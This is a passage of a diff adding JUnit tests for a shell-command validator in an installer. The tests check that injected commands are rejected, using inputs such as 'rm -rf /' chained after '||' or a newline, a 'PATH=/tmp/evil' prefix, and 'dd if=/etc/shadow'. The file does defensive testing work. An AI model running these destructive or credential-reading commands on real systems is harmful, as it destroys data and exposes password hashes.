+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void dollarBrace_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("echo ${HOME}");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void doublePipe_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("sh agent.sh stop || rm -rf /");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void backslash_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("echo hello\\ world");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void nullByte_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("echo foo\u0000bar");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void redirect_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("cat ~/inlong/a > ~/inlong/b");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void newline_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("sh agent.sh start\nrm -rf /");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ /* here-string "<<<": "<" on metacharacter blacklist */
+ @Test
+ public void hereString_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("grep foo <<< payload");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ /* process substitution "<(...)": "<" on metacharacter blacklist */
+ @Test
+ public void processSubstitution_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("grep foo <(cat ~/inlong/x)");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ /* variable-assignment prefix: "PATH=/tmp/evil" not on whitelist */
+ @Test
+ public void varAssignPrefix_shouldRejectByWhitelist() {
+ ValidationResult r = validator.validate("PATH=/tmp/evil ls");
+ assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+ }
+
+ /* append redirect ">>" on metacharacter blacklist */
+ @Test
+ public void appendRedirect_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("echo hi >> ~/inlong/log");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void expandTilde_shouldReplaceHomePrefixOnly() {
+ String home = System.getProperty("user.home");
+ Assert.assertEquals(home, ModuleCommandValidator.expandTilde("~"));
+ Assert.assertEquals(home + "/foo", ModuleCommandValidator.expandTilde("~/foo"));
+ Assert.assertEquals("/abs/path", ModuleCommandValidator.expandTilde("/abs/path"));
+ /* only replace prefix tildes, not embedded ones */
+ Assert.assertEquals("a~b", ModuleCommandValidator.expandTilde("a~b"));
+ }
+
+ /* Configurable whitelist tests */
+
+ /* Reset config keys set during test so others see shipped defaults. */
+ @After
+ public void clearConfigOverrides() {
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "");
+ conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "");
+ }
+
+ private ModuleCommandValidator newValidatorFromConf() {
+ return new ModuleCommandValidator(defaultRoots, InstallerConfiguration.getInstallerConf());
+ }
+
+ @Test
+ public void configExtraCommandWhitelist_shouldAllowCustomArgv0() {
+ // 'nohup' is not in baseline; without configuration, it is rejected.
+ ValidationResult before = validator.validate("nohup java -jar ~/inlong/x.jar");
+ assertRejected(before, ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+
+ // With extraCommandWhitelist=nohup it must pass.
+ InstallerConfiguration.getInstallerConf()
+ .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "nohup");
+ ModuleCommandValidator v = newValidatorFromConf();
+ ValidationResult after = v.validate("nohup java -jar ~/inlong/x.jar");
+ Assert.assertTrue("expected ok after adding nohup, got " + after, after.isOk());
+ }
+
+ @Test
+ public void configIllegalEntry_shouldBeSkippedButOthersKept() {
+ // 'my;cmd' contains ';' and must be dropped; 'python3' is legal and must survive.
+ InstallerConfiguration.getInstallerConf()
+ .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "my;cmd,python3, echo bad ,ok_name");
+ ModuleCommandValidator v = newValidatorFromConf();
+ Set effective = v.getEffectiveCommandWhitelist();
+ Assert.assertFalse("entries containing ';' must be dropped", effective.contains("my;cmd"));
+ Assert.assertFalse("entries containing whitespace must be dropped", effective.contains("echo bad"));
+ Assert.assertTrue("well-formed 'python3' must be kept", effective.contains("python3"));
+ Assert.assertTrue("well-formed 'ok_name' must be kept", effective.contains("ok_name"));
+ }
+
+ @Test
+ public void configExtraWriteLikeCommand_shouldTriggerPathRootCheck() {
+ // Make 'dd' both an allowed argv[0] and a write-like command; a path outside allowed
+ // roots must now be rejected via PATH_NOT_UNDER_ALLOWED_ROOT rather than sneak past.
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "dd");
+ conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd");
+ ModuleCommandValidator v = newValidatorFromConf();
+
+ Assert.assertTrue(v.getEffectiveCommandWhitelist().contains("dd"));
+ Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd"));
+
+ // 'if=/etc/shadow' contains '/', so looksLikePath treats it as a path argument for a
+ // write-like command; because /etc/shadow is not under any allowed root, PATH check fires.
+ assertRejected(v.validate("dd if=/etc/shadow of=/tmp-forbidden/x"),
+ ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+ // Same idea with a plain positional path argument.
+ assertRejected(v.validate("dd /etc/shadow"),
+ ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+
+ // A path under an allowed root must pass.
+ Assert.assertTrue(v.validate("dd " + Paths.get(System.getProperty("user.home"), "inlong", "x.bin"))
+ .isOk());
+ }
+
+ @Test
+ public void configExtraWriteLikeButNotWhitelisted_shouldWarnAndNotAffectBehavior() {
+ // 'dd' is listed as write-like but never added to argv[0] whitelist. Behaviour must
+ // stay identical to the baseline: 'dd' is rejected on the argv[0] whitelist step.
+ InstallerConfiguration.getInstallerConf()
+ .set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd");
+ ModuleCommandValidator v = newValidatorFromConf();
+ Assert.assertFalse(v.getEffectiveCommandWhitelist().contains("dd"));
+ // Effective write-like set contains the extra entry (the WARN is a hint, not a filter).
+ Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd"));
+ assertRejected(v.validate("dd /etc/shadow"),
+ ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+ }
+
+ @Test
+ public void configIntactBaseline_whenNoExtraProvided() {
+ // No config touched → effective set must equal baseline exactly.
+ ModuleCommandValidator v = newValidatorFromConf();
+ Assert.assertEquals(CommandWhitelistResolver.BASELINE_COMMAND_WHITELIST,
+ v.getEffectiveCommandWhitelist());
+ Assert.assertEquals(CommandWhitelistResolver.BASELINE_WRITE_LIKE_COMMANDS,
+ v.getEffectiveWriteLikeCommands());
+ }
+
+ /* --- helper --- */
+
+ private void assertRejected(ValidationResult r, String expectedRule) {
+ Assert.assertFalse("expected rejected, got " + r, r.isOk());
+ Assert.assertEquals("rule name mismatch, msg=" + r.getMessage(),
+ expectedRule, r.getRuleName());
+ }
+}